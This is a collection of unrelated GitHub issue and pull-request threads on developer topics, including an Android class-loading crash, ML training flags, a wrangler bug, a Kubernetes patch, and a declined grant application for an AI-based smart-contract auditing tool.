talking repo deficiencies and assigning new tasks, taking notes

good work! very useful

wrote and updated the link for meeting 2 in sidebar


Repo sync for protected CLA branch

The pull request is created from master637662883098837350 to master to fix git push error for protected CLA branch

@opbld16 : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Create a script to install Oracle XE and APEX as Docker containers.

See also Running APEX in Docker container and Docker-compose for Oracle APEX.

See also Oracle REST Data Services Docker image 22.4.0
Description.


Update Connect server to v1.1.0

We also have to package the Chart, right? We have make release/prepare to do this.

Yes, but this is not a release (prep) PR. Just a Docker image version bump.


NoClassDefFoundError - custom plugin

I have a custom plugin that contains a 3rd party jar file and related *.so files for x86 and armeabi-v7a. I'm using the tabris build service and everything compiles correctly (and if I remove the jar or either of the so files, as expected, it will not compile)
here's how they are added in the plugin.xml file:
        <source-file src="src/android/libs/arcgis-android-api.jar" target-dir="libs"/>

        <source-file src="src/android/libs/x86/libruntimecore_java.so" target-dir="libs/x86"/>
        <source-file src="src/android/libs/armeabi-v7a/libruntimecore_java.so" target-dir="libs/armeabi-v7a"/>

that said, when I run the app on a device, I get the following error:
06-17 15:59:19.741: E/AndroidRuntime(5333): FATAL EXCEPTION: main
06-17 15:59:19.741: E/AndroidRuntime(5333): Process: com.sdlportal.sdlmobile3, PID: 5333
06-17 15:59:19.741: E/AndroidRuntime(5333): java.lang.NoClassDefFoundError: Failed resolution of: Lcom/esri/arcgisruntime/R$drawable;
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.esri.arcgisruntime.mapping.view.MapView.a(SourceFile:888)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.esri.arcgisruntime.mapping.view.MapView.<init>(SourceFile:211)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.esri.arcgisruntime.mapping.view.MapView.<init>(SourceFile:221)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.spatialdatalogic.tabris.gmaps.MapHolderView.onMapReady(MapHolderView.java:175)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.google.android.gms.maps.MapFragment$zza$1.zza(Unknown Source)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.google.android.gms.maps.internal.zzl$zza.onTransact(Unknown Source)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at android.os.Binder.transact(Binder.java:387)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at wv.a(:com.google.android.gms.DynamiteModulesB:82)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at maps.ag.t$5.run(Unknown Source)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at android.os.Handler.handleCallback(Handler.java:739)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at android.os.Handler.dispatchMessage(Handler.java:95)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at android.os.Looper.loop(Looper.java:158)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at android.app.ActivityThread.main(ActivityThread.java:7229)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at java.lang.reflect.Method.invoke(Native Method)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1230)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1120)
06-17 15:59:19.741: E/AndroidRuntime(5333): Caused by: java.lang.ClassNotFoundException: Didn't find class "com.esri.arcgisruntime.R$drawable" on path: DexPathList[[zip file "/data/app/com.sdlportal.sdlmobile3-1/base.apk"],nativeLibraryDirectories=[/data/app/com.sdlportal.sdlmobile3-1/lib/arm, /data/app/com.sdlportal.sdlmobile3-1/base.apk!/lib/armeabi-v7a, /vendor/lib, /system/lib]]
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at java.lang.ClassLoader.loadClass(ClassLoader.java:511)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	at java.lang.ClassLoader.loadClass(ClassLoader.java:469)
06-17 15:59:19.741: E/AndroidRuntime(5333): 	... 16 more
06-17 15:59:19.741: E/AndroidRuntime(5333): 	Suppressed: java.lang.ClassNotFoundException: com.esri.arcgisruntime.R$drawable
06-17 15:59:19.741: E/AndroidRuntime(5333): 		at java.lang.Class.classForName(Native Method)
06-17 15:59:19.741: E/AndroidRuntime(5333): 		at java.lang.BootClassLoader.findClass(ClassLoader.java:781)
06-17 15:59:19.741: E/AndroidRuntime(5333): 		at java.lang.BootClassLoader.loadClass(ClassLoader.java:841)
06-17 15:59:19.741: E/AndroidRuntime(5333): 		at java.lang.ClassLoader.loadClass(ClassLoader.java:504)
06-17 15:59:19.741: E/AndroidRuntime(5333): 		... 17 more
06-17 15:59:19.741: E/AndroidRuntime(5333): 	Caused by: java.lang.NoClassDefFoundError: Class not found using the boot class loader; no stack trace available

does anyone have any thoughts on why this would be happening? It compiled correctly so its odd that it can't find the class definitions at runtime???

that might be related to the drawable resource id resolution that is not supported inside a cordova plugin. cordova plugins are not "proper" gradle modules and have to resolve their ressources "as strings".

thank you @mpost, if this is the case can you think of a workaround?

bundling as .aar should help.

this seemed to work, thanks for the tip @mpost !

ok, I think I spoke too soon. I'm still getting NoClassDefFoundError at runtime using the aar file
can you give me some feedback on the best way to include an aar file in the tabris build server process? I have a pom file as well that includes two external dependencies the aar file needs
thanks

To recap... you are getting the same exception as above or the resource class not resolved? I am not 100 sure how hat is handled when bundled as an .aar. In case of a jar the resources wouldn't be resolvable because the generated resource ids are not available in the jar. Could it be the same with the .aar?

no, it was a different NoClassDefFoundError this time, not the resource class error above. It did not cause a fatal crash but it obviously prevented the app from working
that said, I was able to copy how their sample app in Android Studio gradle file was setup and then used their bintray dependency instead of the local aar file. that worked!
so, I am up and running now but if anyone comes across this issue again, I was not able to get a local aar file to work at runtime (compiled ok). This is probably because the the aar in question was pretty complex and used jni and native files internally but I really don't know for sure


Standardize return format of dates and datetimes for SQL

We are not guaranteed that datetimes/dates will always be returned in the expected format of GraphQLDate/GraphQLDateTime. We can add CONVERTs to the SQL queries to ensure that the dates and datetimes are always formatted the same way.
https://www.mssqltips.com/sqlservertip/1145/date-and-time-conversions-using-sql-server/

Maybe we can make the requirement that the used DB-API, e.g. pydobc, has to return a python datetime object. This requirement is consistent with the python DB-API implementation hints https://www.python.org/dev/peps/pep-0249/#implementation-hints-for-module-authors and all of the DB-APIs that I've seen follow this standard.


Unable to train Dispnet and Posenet.

Hi @anuragranj !
After freshly checking out your code, I was trying to train dispnet and posenet with the followng command:
python3 train.py /cdtemp/ezorfa/gateway30/datasets/kitti/kitti_cc -- dispnet DispResNet6 --posenet PoseNetB6   --masknet MaskNet6 --flownet Back2Future  -b 4 -pc 1.0 -pf 0.0 -c 0.0 -s 0.1  --log-output -f 50 --nlevels 6 --lr 1e-4 -wssim 0.997    --epochs 100 --smoothness-type edgeaware  --fix-masknet --fix-flownet   --log-terminal --name cc_depth  --epoch-size 1000
But even after 30K iterations there seem to be no hint of training:

Previously, I also trained for over 200K, but I dint see any result or any hint of training. It just stays white image  all the time. Could you suggest me or hint at what I might be doing wrong??
Appreciate your help,
Thankyou!

@anuragranj Do I need to play with smoothness parameter initially or may be seeding is the problem?

There should be some weight on mask when training for the first time. This will force the loss to use depth and camera motion networks. So, don't fix masknet when training for the first time. Could you try this and see how it looks
python3 train.py <DATA_PATH> --sequence-length 5 --dispnet DispResNet6 --posenet PoseNetB6 --masknet MaskNet6 --flownet Back2Future -b8 -m0.6 -pf 0.0 -pc 1.0 -s0.005 --epoch-size 1000 --log-output -f 0 --nlevels 6 --lr 1e-4 -wssim 0.997 --with-flow-gt --with-depth-gt --epochs 100 --fix-flownet --smoothness-type edgeaware --name <NAME>

Ohh IC ! Thankyou @anuragranj . I will come back to you.
However, I dont still see the need to activate masknet here. Is there a way that I get away from using masknet?

Like, Can't I do:
loss = w1*loss_1 +  w3*loss_3 ; where loss_3 = smooth_loss(depth)

Ohh IC ! Thankyou @anuragranj . I will come back to you.
However, I dont still see the need to activate masknet here. Is there a way that I get away from using masknet?

Yes. It's a little tricky. You would need to pass all ones in place of explainability mask in the call of the following function.
https://github.com/anuragranj/cc/blob/master/train.py#L490-L491
This is because depth loss is computed only on the masked pixels.

@anuragranj  Hi !
I tried with the command you specified. It worked! I started to see some results right from 2500 steps.
However, I have few questions. Please answer them briefly:
[1]  loss = w1*loss_1 + w3*loss_3 ; where loss_3 = smooth_loss(depth); where loss_1 = loss_1 = loss_camera(tgt_img_var, ref_imgs_var, intrinsics_var, intrinsics_inv_var, depth,  **None** , pose, lambda_oob=args.lambda_oob, qch=args.qch, wssim=args.wssim)
Dont you think this should work?
[2] Why should the epoch_size = 1000 ? Should'nt it be the full size of the dataset?
[3] Initially ( to stop training for depth and pose), The stop criteria should be minimum photometric camera error?
Thankyou!

@anuragranj  sorry for too many questions, regarding point [2], I believe this is to get the networks trained a little initially.

@anuragranj Hi !
I tried with the command you specified. It worked! I started to see some results right from 2500 steps.
However, I have few questions. Please answer them briefly:
[1]  loss = w1*loss_1 + w3*loss_3 ; where loss_3 = smooth_loss(depth); where loss_1 = loss_camera(tgt_img_var, ref_imgs_var, intrinsics_var, intrinsics_inv_var, depth, None , pose, lambda_oob=args.lambda_oob, qch=args.qch, wssim=args.wssim)
Dont you think this should work?

This should work, yes. I dint realize that exp_mask=None was accounted for in the loss_functions.py.

[2] Why should the epoch_size = 1000 ? Should'nt it be the full size of the dataset?

Just to make validation step faster. The dataloader is randomly shuffled anyway.

[3] Initially ( to stop training for depth and pose), should the stop criteria be minimum photometric camera error?

I used validation loss on depth ground truths.

Thankyou!


Cannot generate skilltree

Hello,
When I try to generate a skilltree I am gettin the "Could not open skill tree generator" error as seen in http://imgur.com/a/Kgn5D
This is happening with the setup version of the application

Fyi reverted to 2.2.5 and the issue disappears.

Thanks for reporting this. It already has been fixed but is not released yet.
@EmmittJ Imo, it would be a good idea to do bugfix releases if critical bugs from the latest release are fixed. As it is now, people have to wait for the next release to be able to use bugged things again.

Yeah, I normally give some time for bug reports to come in, and it looks
like there isn't too many. I can get a release ready for later today
On Apr 16, 2016 4:05 AM, "brather1ng"<EMAIL_ADDRESS>wrote:

Thanks for reporting this. It already has been fixed but is not released
yet.
@EmmittJ https://github.com/EmmittJ Imo, it would be a good idea to do
bugfix releases if critical bugs from the latest release are fixed. As it
is now, people have to wait for the next release to be able to use bugged
things again.
—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/EmmittJ/PoESkillTree/issues/305#issuecomment-210791798

So, is it later today yet ? :)


🐛 BUG: wrangler doesn't terminate proxied process

What version of Wrangler are you using?
2.0.26
What operating system are you using?
Pop!_OS 22.04 LTS
Describe the Bug
run wrangler pages dev -- pnpm dev or pnpm wrangler pages dev -- pnpm dev (both use pnpm dev as proxy command) in next.js project folder.
exit wrangler with [x] to exit in terminal.
wrangler did exit, but pnpm dev still running.

using next dev as proxy command did terminate the process when wrangler exit.
other software version details:
node 16.17.0 with nvm 0.39.1
pnpm 7.9.3

Possible that #1628 fixes this?

I'm not so sure. from what I read from #1628, it's like the other way around.
I will try wrangler prerelease in #1628 to see if it fixes the issue.

Unfortunately, wrangler prerelease in #1628 doesn't fixes the issue.

It does it both ways, when the main process exits, it now cleans up the child process properly, and vice versa.
If that doesn't fix it, can you create a minimal reproducible repo please 🙂

is this sufficient? wrangler-1704

Interestingly enough, I can reproduce on your next app, but can't on a sveltekit app (where it wasn't successful before that PR landed).

Thanks for the report! This seems to be limited to pnpm and is reported on their repo. We ask the process to terminate with a SIGTERM which pnpm doesn't seem to handle perfectly right now.
https://github.com/pnpm/pnpm/issues/2653


added armur ai page

Project Abstract

Our project Armur A.I is focused on training Open Source Large Language Models with smart contract vulnerability data to be able to detect security issues in smart contracts.
We have a successful working model for Solidity smart contracts and are building one for Move (Aptos).
Building a similar solution where A.I models are trained with Ink! smart contracts for the Polkadot community will ensure that the ecosystem becomes more secure, more trust is generated and gets a higher amount of traction and investment and this is what we all want.

Grant level

[ ] Level 1:  Up to $10,000, 2 approvals
[ ] Level 2:  Up to $30,000, 3 approvals
[X] Level 3:  Unlimited, 5 approvals (for >$100k: Web3 Foundation Council approval)

Application Checklist

[x] The application template has been copied and aptly renamed (project_name.md).
[x] I have read the application guidelines.
[x] Payment details have been provided (bank details via email or BTC, Ethereum (USDC/DAI) or Polkadot/Kusama (USDT) address in the application).
[x] The software delivered for this grant will be released under an open-source license specified in the application.
[x] The initial PR contains only one commit (squash and force-push if needed).
[x] The grant will only be announced once the first milestone has been accepted (see the announcement guidelines).
[x] I prefer the discussion of this application to take place in a private Element/Matrix channel. My username is: @_______:matrix.org (change the homeserver if you use a different one)

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Thanks for the application. I concur with David's concerns. What were the approx size of dataset and manual annotations (avg for each vulnerability class) needed for other smart-contract languages to create a robust (non overfitting) model? I feel there are many low hanging fruits for deterministic semantic analysis before diving in to ML based approaches.

You're right, the A.I models are open source but our work up until now isn't. This is because all the work we've done until now has been for solidity smart contracts and since we haven't raised a Pre-Seed round yet, we haven't open sourced the work as this is the I.P edge we want to demonstrate to investors.
But when we work with Polkadot, all the work will be open-sourced since in a way Polkadot will be our investors for this work and Polkadot is funding it. We will sign all your agreements that state we have to share our work with the entire community.

Thanks for the application. I concur with David's concerns. What were the approx size of dataset and manual annotations (avg for each vulnerability class) needed for other smart-contract languages to create a robust (non overfitting) model? I feel there are many low hanging fruits for deterministic semantic analysis before diving in to ML based approaches.

Here's the process we followed for Solidity smart contracts -
(our process is very much human feedback based and we label the data carefully, there's no unsupervised learning here)

We first trained the model with already classified issues that were available in the SWC registry. Meaning, this registry already had 40 vulnerabilities, properly classified with one code sample having the issue and another code sample that had the issue fixed. this is where we started as it was the low hanging fruit. Now please note that already the A.I model we used already understood programming languages so it already has a lot of context and you benefit from few shot learning. After just this first step which is just 40 examples - model was able to detect issues reasonably.
we used tools like slither and manticore, passed multiple smart contracts through them and trained the A.I models with the results. We did this for about 700 smart contracts.
We then used Chat-GPT, LLaMa and Bard, presented these with smart contract code samples and asked them to find issues. The output from these models was used as the "Expected output" and the input code sample was used as the "input" to train our models.
we then found 2,000 audit reports from github from various companies, converted PDF to JSON and trained the A.I models with the code of the smart contracts as the input and the "insights" sections of the audit reports as the expected output.

After these 4 steps, the A.I models work really well to create a non-overfitting model.
since we used deterministic tools in step 3, the A.I model can be thought of having the skills to detect issues that a semantic anaylser would detect but would also have the capability to go beyond.
The main benefit here over a hard-coded semantic analysis tool is that we won't EVER have to write "extensions" or "plugins" for the existing code base. That's the benefit you get with an A.I driven approach - we simply need to train it in the future, rather than "maintaining" a code-case that needs to be extended.
Not sure if you're following the issues that the Slither community is facing - everytime there's a new issue, new extensions end up conflicting with the old ones, this is why there are barely any updates even when months go by.
Whereas we can train A.I models every day with new vulnerabilities :D

Thanks for the application.
When you say that you have "built a successful A.I powered auditing tool for solidity files", can you elaborate how you define success? And can you share the training and test sets and some raw evaluation numbers (beyond "80% accurate")?

Hi Semuelle,
regarding accuracy -
As you know, we have been working on this problem since the past 9 months and have gone through the Techstars accelerator and are currently going through the Outlier Ventures accelerator.
By now we have worked (audited code for) about 60 companies - these are early stage web3 startups.
We strongly believe that accuracy metrics are only relevant if the customer feels that. In our case, once we created an audit report for these 60 companies, we sat down with the engineering team to understand what we got right and we didn't.
Here are the learnings -

Clients feel that our tool is on an average ~75% accurate in finding vulnerabilities that have been properly classified and are known.
We are by no means trying to replace manual auditors, in fact, we save them time. Also, for early stage web3 startups, we save a lot of time and money since now they don't have to go to a manual auditing firm for every small thing and atleast the basic level of issues can be found and corrected.
The clients feel empowered since now they can do wwayyy more audits. This is essentially, a shift-left of auditing or democratization of auditing.
Clients have reported hallucinations and false-positives and that's what makes up the other 25%. The only way to fix this is to work with more data, but also tighter human feedback loop, which we're currently prioritizing.

Thanks a lot for the application, and sorry for the late reply here. Let me share this application also with @bhargavbh, who previously looked into ink! smart contract vulnerabilities. I have one question here: You say all your A.I. models are open source, but is any of your work so far actually open source? I couldn't find a GitHub organization. My main concern here is that the dataset that you will create as part of the first milestone is only useful for you and can not easily be reused by others. Another big concern that I have is that your project is simply too early for our ecosystem, given that there will be very little data to train your models.

Have answered all the questions above. I just wanted to highlight something -
We have been referred by Gavin Wood, kindly check with him once as well. This is the reason we applied for the grant. Our original plan was to become a para-chain but Robin Ejsmon-Frey and Nico Morgan suggested that grant could be the right route.
In addition, I've been in touch with Bill Laboon and discussed this with him. In addition, I've been in touch with Tim Dobie and Santiago Balaguer.
So we're in touch with people across the entire Polkadot eco-system - Parity, Square One, Substrate and Web3 Foundation etc.
Need your support so that we're able to build with you guys :D

please let me know if I should make changes in the original submitted proposal or if these comments are enough?

Looking at the other milestones and deliverables, I have to say they don't really fit the grants program.

We don't pay for deployment, unless it's an infrastructure project. And since you are planning to make the models proprietary, I don't see how that would work.
What do you mean by testing and deploying the model(s) if you only train them in the next step? I assume this is an API you are talking about? Please review all deliverable specifications, as they should be something verifiable and reusable. For example, if you want "model selection" to be a deliverable, the test procedure and results should also be a part of the deliverable.
16 person months for training and testing of models seems excessive.

Hey Semuelle,
I think there's a lot of confusion.
You're quoting things exactly opposite of what I have mentioned on the comments above.

I have clearly mentioned that there are going to be NO proprietary models. The models we currently use are Open Source and all of our work for Polkadot will be 100% open source and will be for the community. Just to clarify further - the work we've done on solidity smart contracts is NOT open source (since we funded it oursevles) but the work done for Polkadot will be - since we will have the grant to fund this.

We never asked you to pay for deployment and I obviously know how Polkadot works and that you don't pay for deployment, no idea why you thought this is being asked.

By testing and deployment we mean - we use some sample datasets and check which ones of the open source models are the best suited for ink! smart contracts. we've noticed that GPT-NEO-X works really well for Viper and Falcon-40B works really well for Solidity. Now there are new A.I models each day in the market (for example LLaMa 2 just came out). Based on the latest ones in the market at the time the grant get approved, we will test the ones with sample datasets for ink! smart contracts and find the best ones for the use case.

Please understand, we know what we're doing really well. We've already made it through the Techstars accelerator, Outlier ventures accelerator, we are working closely with Aptos now and soon will be raising our pre-seed.

Regarding your comment on 16 person months being excessive - how many companies do you know who've successfully done this? Please let me know.
The reason we're asking for this time is because we're quite pragmatic and have delivered enterprise projects before so this timelines includes buffer periods, includes time for experimentation and testing. Also, creating the datasets is a difficult task as it requires a lot of research and that's where the max time will go.

Thanks,

pinging @AkhilSharma90

Hi team,
Apologies for the late reply, we have our friendly investor pitch day at
Outlier Ventures on 11th, I got busy fixing the deck and the data room :)
I'll reply to all the comments and make changes as well
On Wed, Aug 9, 2023 at 7:49 PM Sebastian Müller @.***>
wrote:

pinging @AkhilSharma90 https://github.com/AkhilSharma90
—
Reply to this email directly, view it on GitHub
https://github.com/w3f/Grants-Program/pull/1865#issuecomment-1671428625,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AGKJCNPWKUOBMT6CAU2V7WLXUOL7TANCNFSM6AAAAAA2YEJMHM
.
You are receiving this because you were mentioned.Message ID:
@.***>

Thanks for the updates. Could you update the specification for the default deliverables? For example, there is no code delivered in M1, so I don't see how inline docs and Docker are relevant.

yes, i will do this and push the changes

But when we work with Polkadot, all the work will be open-sourced since in a way Polkadot will be our investors for this work and Polkadot is funding it. We will sign all your agreements that state we have to share our work with the entire community.

That's good to hear. Could you try to make this more clear as part of the milestone tables? The size of the current ink smart contract dataset is also still a concern for me. So the application might be a little bit too early.

got it, we need atleast 5-6 code examples per categorized vulnerability to be successful. We can additionally build this dataset with you if we're too early. We're passionate about the problem statement. Being an early mover will help us a lot. If the timelines can be relaxed for us to let us help you build the datasets, will be an awesome collaboration

Hi @AkhilSharma90,
ad 1: I think we are using the term 'model' differently. To me, an open source model is a trained model whose parameters and algorithms are open source. For example, to open source my neural network, I would publish its weights and biases. When you say you have "trained open source models", I hear "we have published the models we have trained", but - correct me if I'm wrong - you are referring to the fact that the software you have used to train the models is open source. Your website refers to your "proprietary technology", so I assumed you were not planning to publish the trained model. Perhaps you can clarify this.
ad 2: deployment is the title of your second milestone and listed as one of your deliverables.
ad 3: I think paying for this kind of deployment would be fine if you published the results of the work, the models and ideally the test results. 'Deployment' is usually used for backends and smart contracts around here, which we don't fund.
ad 5: It's clear to me and everyone reading your proposal that you have already put a lot of work into your project and there are not many people who could and would pursue it. However, given the novelty of the concept, I would prefer to see some hard data on its accuracy, precision and market interest, so a more iterative approach would make more sense to me. Also, since you mention datasets: there is a milestone for creating datasets and it's listed with three person-months.
Lastly: by "we need help of the Polkadot community", do you mean this grant (application) or are you planning to involve the community in different ways?

Since for vulnerabilities, the datasets are not in millions/ billions, what this means is we have to fine-tune A.I models that are pre-trained. I apologize, I haven't made this clear, this approach is becoming quite common now, especially after this very famous research paper -> https://arxiv.org/pdf/2306.12338.pdf. Our methodology is based heavily on this.

We will deploy to something like AWS for the community to use. The work and A.I models will be open sourced by us and any one across the world can deploy them on their own system and run these. We have to find the right model, deploy it using sagemaker and train it with the datasets we create with your help or that are existing at the moment. We will keep the A.I model deployed and the community can use ours through a light front end client (that we can also develop) or they can deploy it on their own. We will also open source the entire method of deploying it with sagemaker and share all steps

All reports will be shared with you, all data and datasets will be shared with you, all work done by us for this grant, is owned by the Polkadot community or the people, it's all open source. With the grant you're paying for the part time salaries of data scientists, A.I engineers and MLOps resources that we already worked with to train our model with solidity data.

When we talk about "datasets" and timeline with it, we mean that we are assuming that the list of vulnerabilities already exist and there are plenty of code samples for each vulnerability (atleast 4-5). And using this, we simply create a "dataset" which has 3 fields (required for Alpaca models) -> input (which is going be our code), prompt (which is something like - give me a list of vulnerabilities in this code) and expected output (which is the vulnerabilities in that code).

Your team member, NOC2 mentioned earlier that the dataset on vulnerability is too small, the term "dataset" that he's using is actually meant to refer to the raw data of the vulnerabilities and code samples that might exist for us to be able to create a dataset from.
I don't have visibility on this and since you're more deeply involved in the community and ecosystem, you would have a better idea if we're too early.
And my reply to this is that, if you feel that even this data is less, we would love to help you build this as well. Even though we are very early for this and since we know that it will take a while for us to build this data, we would like to be involved at an early stage with you, because we all know this will be useful in the near future.
Now this might mean relaxing the 3 month timeline for creating the dataset or any other way. Our priority is to get to work with you on this problem, which is an extremely important problem and will have quite big effects - democratizing audits.

When I mention help of the polkadot community, I mean their help in building the vulnerabilities data, if this could be a cause that we could lead and more developers from the community also contribute to this. That's the vision.

Thanks for the application @AkhilSharma90 in addition to above comments:

Can you update to specify which license you will use? Currently, it still lists all four.
The deliverables still contain mainly boilerplate text. Is Docker really necessary for all milestones?
What kind of tests will be created and how can we evaluate them?
For milestone 3, how can we effectively evaluate the human feedback loop that is mentioned?

Ok I will make all these changes to the application.
Could you also go through my above comments and let me know if you have more questions

Thanks for the application @AkhilSharma90 in addition to above comments:

Can you update to specify which license you will use? Currently, it still lists all four.
The deliverables still contain mainly boilerplate text. Is Docker really necessary for all milestones?
What kind of tests will be created and how can we evaluate them?
For milestone 3, how can we effectively evaluate the human feedback loop that is mentioned?

Hi Keegan,
I have updated all the milestones to remove boilerplate text and added a lot more details in each of the milestones.
regarding questions 3 and 4, I have added details in the milestones itself, please let me know if it's still not clear and I'll reply in comments as well.

Thanks for the changes @AkhilSharma90 I appreciate the added technical details. However, it looks like the mandatory deliverables (0a. - 0e.) were removed from all milestones. These should stay, apologies if I wasn't clear on that. The 0d. Docker section can be removed if it's not applicable, and the 0e. blog article is only required for the last milestone. IMO would be great to have that after the grant is completed.
0b. and 0c. should remain, for "Documentation" and "Testing & testing guide" respectively. That way we have a tangible way to evaluate the work that has been accomplished. Not sure what these tests would consist of for this kind of project though. For example I'm still not exactly sure how we would evaluate milestones 3 & 4. Will there be some kind of guide or tutorial that walks us through how to interact with the A.I. models?

Hi Keegan,
Please check now, requested changes done
Thanks,

@keeganquigley all ok? please let me know if any more details required

We then used Chat-GPT, LLaMa and Bard, presented these with smart contract code samples and asked them to find issues. The output from these models was used as the "Expected output" and the input code sample was used as the "input" to train our models.

This sounds like you are using the untrained model output as the expected output for your training, effectively training on incorrect data. Can you elaborate?
Do you have a list of vulnerabilities your Solidity model recognises? I just had a look at the article you linked above, and it lists attacks like "Fake tokens"/"Fake contracts" and "Governance attack"? Those are largely unrelated to the source code of the contracts, so I'm curious how those would be discoverable.

Hi Semuelle,
Please note that while we have a working product for Solidity (and have gone through multiple stages of technical due dilligence from the two accelerators we are a part of),
we applied to the Polkadot grant to experiment and build similar solutions for the eco-system. The keyword being "experiment" since we assumed that the grants are to fund "experiments" that may lead to success and solutions that contribute exponentially to the eco system.
However, in the past few weeks while interacting with you and the Polkadot team, we feel that this is taking a very different direction. The questions that are being asked to us are as if we have a working product for Polkadot (and we have been answering the questions too).
The thing is, we will have to experiment quite a bit and are not sure if the same methodology will work here.
We were considering this as a collaboration to build something awesome with an experimentative approach, but you're going a lot into unnecessary details and nitty gritties.
What's happening here is the same thing that's happened in all my previous interactions with the Polkadot community - long stretched out conversations that are always inconclusive. Also, there's always analysis paralysis and decision fatigue.
We (Armur) are a fast growing and fast moving startup and have multiple priorities, we thought collaborating with Polkadot could lead to great results and we also believe that all the details you require to take a decision are already with you by now.
There is no end to clarifications, questions that can be asked to stretch the conversation.
It seems like what we want to build is clearly not a priority for you at the moment and if you feel this doesn't help the Polkadot ecosystem much, we're happy to close the application.
Now regarding the questions you've asked -

You're again assuming something that's wrong. Chat-GPT, bard etc. can already audit smart contracts (atleast that's the case with solidity), training on their outputs ensures you have your base covered.
We're able to detect all vulnerabilities from the SWC registry - https://swcregistry.io/
Regarding the article - you're again getting it all wrong. I mentioned that our approach is heavily based on the research paper, I never said that we're following the same approach. I have already explained our approach to you in the milestones.

We can do this endlessly and this is wasting our time and yours, if you feel this isn't a priority, please just let us know instead of making incorrect assumptions and asking irrelevant questions.
Thanks,

Thanks @AkhilSharma90 for your answers. I will try to address some of your concerns below:

It is normal for committee members to leave comments/questions during the application review. These questions are meant to open up a discussion. One reviewer asking for a specific change is not required to continue the review; it is up to the applicant to decide which suggestions to adopt from individual reviewers.
We do indeed expect teams to have a solid vision of what they would like to build, with the implementation details already planned out. I'm not sure how experimental this makes the grants program.
The grants committee members all come from different backgrounds and areas of expertise, therefore we ask questions in an effort to better understand the project and get to know the team better. We may not always ask the right questions. In my opinion, disparaging the process and the reviewers for the questions they are asking may not be the best approach in getting the application approved.
For teams who we haven't worked with before, we usually ask for a smaller scope at first, before going for a level 3. Considering the unknown variables that you mentioned, I think it might be best to break down the grant into a smaller PoC, and then perhaps a follow-up grant later, once more of the details have been cemented. Therefore I will pass on approving the application for now.

@keeganquigley

Those were not disparaging remarks, just facts about my previous interactions. Because all the details have already been shared and there's just a lot of delays.
I assumed that grants were for experimentation. There is a clear path that's already been shared with you. I admit that the results could be unpredictable but atleast we (Polkadot community) would be ahead of our time for something that's eventually going to happen.
I completely understand if you want to pass on approving the application. Please note that the Polkadot community would have really benefitted from this project, as this is the future. My request would be to not have a narrow, myopic view that ends up hurting the community. We truly believe Polkadot needs this badly and we're willing to put in the work and we're highly execution driven (we have a proven track record).
Regarding POC, we already have a POC for solidity. you can check on our website, www.armur.ai and click "launch app", test it out if you wish. You would have got something similar for Polkadot but everything open source.
If you wish to test it our, follow these instructions - https://www.loom.com/share/d433d443d1584bc3ab00c454646dd0b6?sid=4e0f24c1-405b-4274-b3ff-c0343da8f934

@keeganquigley @semuelle
Guys, we're very serious about working on this and contributing to the community.
Money isn't the priority for us.
You can delay our payments, like pay us after 6 months if you want. We want to work with you guys / collaborate on this problem. That's what's more important.

creating the dataset for ink! vulnerabilities
finding the right models
finetuning them
I know that you guys need it in the near future.

@AkhilSharma90 Thanks for the proposal, but I have some of the same reservations as other committee members who shared their feedback.
The ink! dataset seems too sparse right now to train effective models. I'd also want more technical details on your existing proposal. The budget and timeline also seem high, especially given the unknowns.
Also, open-sourcing your Solidity outputs could also help ease IP concerns.
Since none of the committee members who gave feedback so far seem convinced either, I'm going to close it for now. But you're always welcome to apply for a new grant for another idea or a revised proposal, that incorporates all the critiques that were raised.


Allow AtomicUpdate() to surface the error when the key doesn't exist

In some cases, when the key doesn't exist, AtomicUpdate should simply fail and
surface the error. This PR adds a new function parameter "ignoreNotFound"
for this purpose.
This PR fixes the main symptom in #3950.

cc @dchen1107, @davidopp

Update: ran the script I used to reproduce the issue and found no phantom pods after creating/deleting >800 pods in total over a long period of time (with this PR).

Add a test case that reproduces the failure

@smarterclayton, I updated the PR to include the test. PTAL!

LGTM


Add express-rate-limit

At the moment, I am only testing & using brc20 stuff. If it looks good to you, I will add this into others(bitmap and sns).

This looks great, thank you. Can you also add this to bitmap and sns, after that I'll merge this 👍

Add that for  bitmap and sns, could you please take a look at the changes.
Thanks for your time.


[Question/Feature request] Aliasing token / cross referencing

Hello,
Thanks for this excellent plugin. It will make our process faster.
I am wondering if this plugin supports alias between token.
I am following the recommendation of Abobe spectrum.
Thanks in advance!

Hey @b-barry this is a topic I find very interesting as well.
Do you have an idea how aliases could be defined within figma?

I am also interested in alias support. I'm relatively new to Figma (just switched from XD) and new to tokens in general, so don't have an idea on how to go about this yet

I am testing another plugin to analyse how they are doing it. I think it will be complex

Hey, @b-barry that is true. I see a view problems that need to be solved:

How does the plugin know a token is a references? (Name, portion of the name, ref in the description (=> only works for styles))
Would the user expect the references to update or only work on the export?
Problems: if it does not update, you may use two different colors (as you changed one that is referenced) and than export them where they will be changed to be the same color
Otherwise how will the plugin update the references it, you would need to be called to update. Which is an annoying workflow, but probably the best

Hey @toiletgranny I agree that using a reference comment is the only valid solution. However I would prefer a simple alias: {colors.primary} or maybe even alias: colors/primary
